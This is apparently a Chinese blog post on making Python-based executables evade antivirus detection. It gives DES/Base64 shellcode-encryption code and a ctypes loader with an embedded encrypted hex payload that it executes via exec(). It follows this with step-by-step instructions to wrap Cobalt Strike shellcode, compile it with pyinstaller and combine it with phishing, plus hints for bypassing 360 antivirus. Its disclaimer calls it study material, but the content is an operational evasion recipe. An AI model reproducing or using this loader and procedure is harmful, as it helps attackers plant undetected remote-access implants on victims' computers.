免杀exe技术探讨

前言:

本文章仅用于渗透交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任

最近把大部分的语言的捣鼓分析了下
c的python的 rust的 go的常见的语言市面上有的都研究了下也写了一下自己的 发觉python的确实可以说是最简单的了,不过其实深入免杀的话 还是得进程注入走ring0层去对抗杀软,不然单纯的静态过了 终究有些行为还是会呗动态杀
这篇分享一篇python的吧 效果看正文 全过的也有 不过现在肯定是不会发的

正文:

最开始的
在这里插入图片描述
更改后的
原理:核心还是对shellcode和loader进行加密处理 当然分离肯定也是可以的不过为了防止溯源我觉得这种其实也还行
DES+Base64
shellcode加密

import binascii 
from pyDes import des, CBC, PAD_PKCS5 
# 需要安装 pip install pyDes 
 
def des_encrypt(secret_key, s): 
    iv = secret_key 
    k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5) 
    en = k.encrypt(s, padmode=PAD_PKCS5) 
    return binascii.b2a_hex(en) 
 
def des_decrypt(secret_key, s): 
    iv = secret_key 
    k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5) 
    de = k.decrypt(binascii.a2b_hex(s), padmode=PAD_PKCS5) 
    return de 
 
secret_str = des_encrypt('12345678', 'I love YOU~') 
print(secret_str) 
clear_str = des_decrypt('12345678', secret_str) 
print(clear_str) 

加载器loader

# -*- coding:utf-8 -*-
import ctypes
import base64
import binascii 
from pyDes import des, CBC, PAD_PKCS5 

def des_decrypt(secret_key, s): 
    iv = secret_key 
    k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5) 
    de = k.decrypt(binascii.a2b_hex(s), padmode=PAD_PKCS5) 
    return de
    
if __name__ == '__main__':
    shell_code =des_decrypt('12345678','') 
    shell_code=str(shell_code,encoding='utf-8')
    shellcode1=base64.b64decode(shell_code)
    shellcode=shellcode1.decode().replace('&','c4d8686d9fcabdc94c0fc30b4dfe35c96c70ec9c5bbe538f268cc9c826e27dea25de33d121bf553843593aac8ef0f08b50d70de08efa8c21448256e8e1297726919f6ad3a85a046a7517fc95399626c78a5c2d78b901bf396f348eda70e532e42ec9bfb8e5f13456e745614483a737ab16776061538df48eb82a54c5f9112b76b88b67bf2d960f29ae39cf5a62bc59520d5e364447dd29aa5d8484cc3a102bf4ee3ff2e8375756615e385d5b29113e4e8a5e3d2cd66dfc67a4deb0e38d5908cd498435484b09a0eafbafb8165352fa6bfa4b8fd58ef932c0c7777842b641fc05071302ba1172c6a427f78038cb3eec555a75ecc3c46699edbd0b27466ffd5590eef70d079046b72a6ba260b173d63efd2e12f3691f27061c4942a722b019c44634b93c296611c7ddf1ffabee8daa8d50500ba19ec05aa9ce2b703ec1eecde089142c4022489adc4c816480ac57ebc4b26178ea75d47a48a99ac1b7dc4b9553a47aeff63e9e7fc20be4a785ecaba59a57ea9316b32023bb512464eca5400ed0d0f5822052d263226bdf703bd5422bf914d6770751c6af62c3ee69d02deea7e0caa50f28a0ec6d840df7be10b2c70ab6b29ad40b660478dddbf0c3f453b755a510dc56772c9dccfb6a3a7abf183ec41d389045b260b9bc619c626b6dcdeb388b23d1cf372e3c7262c1d1688820d9738296536e0ea46d38d6979b250661a572335abfd79a23c86b250510f2c8a82660bfa47f855ec0a3c8c809598314acb06fdc6870a7cbfd38fd64023b374b750f1b7888d632b9cfa2b577718931254bd63fa1d7f0de341b02e631fc871b202e2fb426b0d7716ace7bdd44bc6b7753102e379188dabae27534fe37312f765b6895a03146b01320e30cd2ae62e9330d6312da137fc34ee2210f8dadbcd7b20e9de224d6511f726906a8e28c2b05b6154f44c3d918')
    shellcode = bytes.fromhex(str(shellcode))
    loader =des_decrypt('12345678','')     
    loader=str(loader,encoding='utf-8')
    loader1=base64.b64decode(loader)
    loader2=loader1.decode().replace('&','')
    exec(loader2)

vt的过不全
在这里插入图片描述
使用方法
1.cs去整个shellcode下来
在这里插入图片描述
2.处理生成的shellcode
将\x替换为空
在这里插入图片描述
得到如下
在这里插入图片描述
3.把上面的拿去进行base64加密
在这里插入图片描述
4.把得到的base64进行aes加密得到aes加密的
在这里插入图片描述
5.把这个数字扔进loader里面去
在这里插入图片描述
6.进行编译为exe
pyinstaller -F cs.py
点击上线即可 组合钓鱼的手法就可以很完美了
在这里插入图片描述

命令执行一样的
在这里插入图片描述
当然高危动作肯定被360杀这是这种免杀的特点 想绕的话使用专门的白名单和相应的手法去执行就好了

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值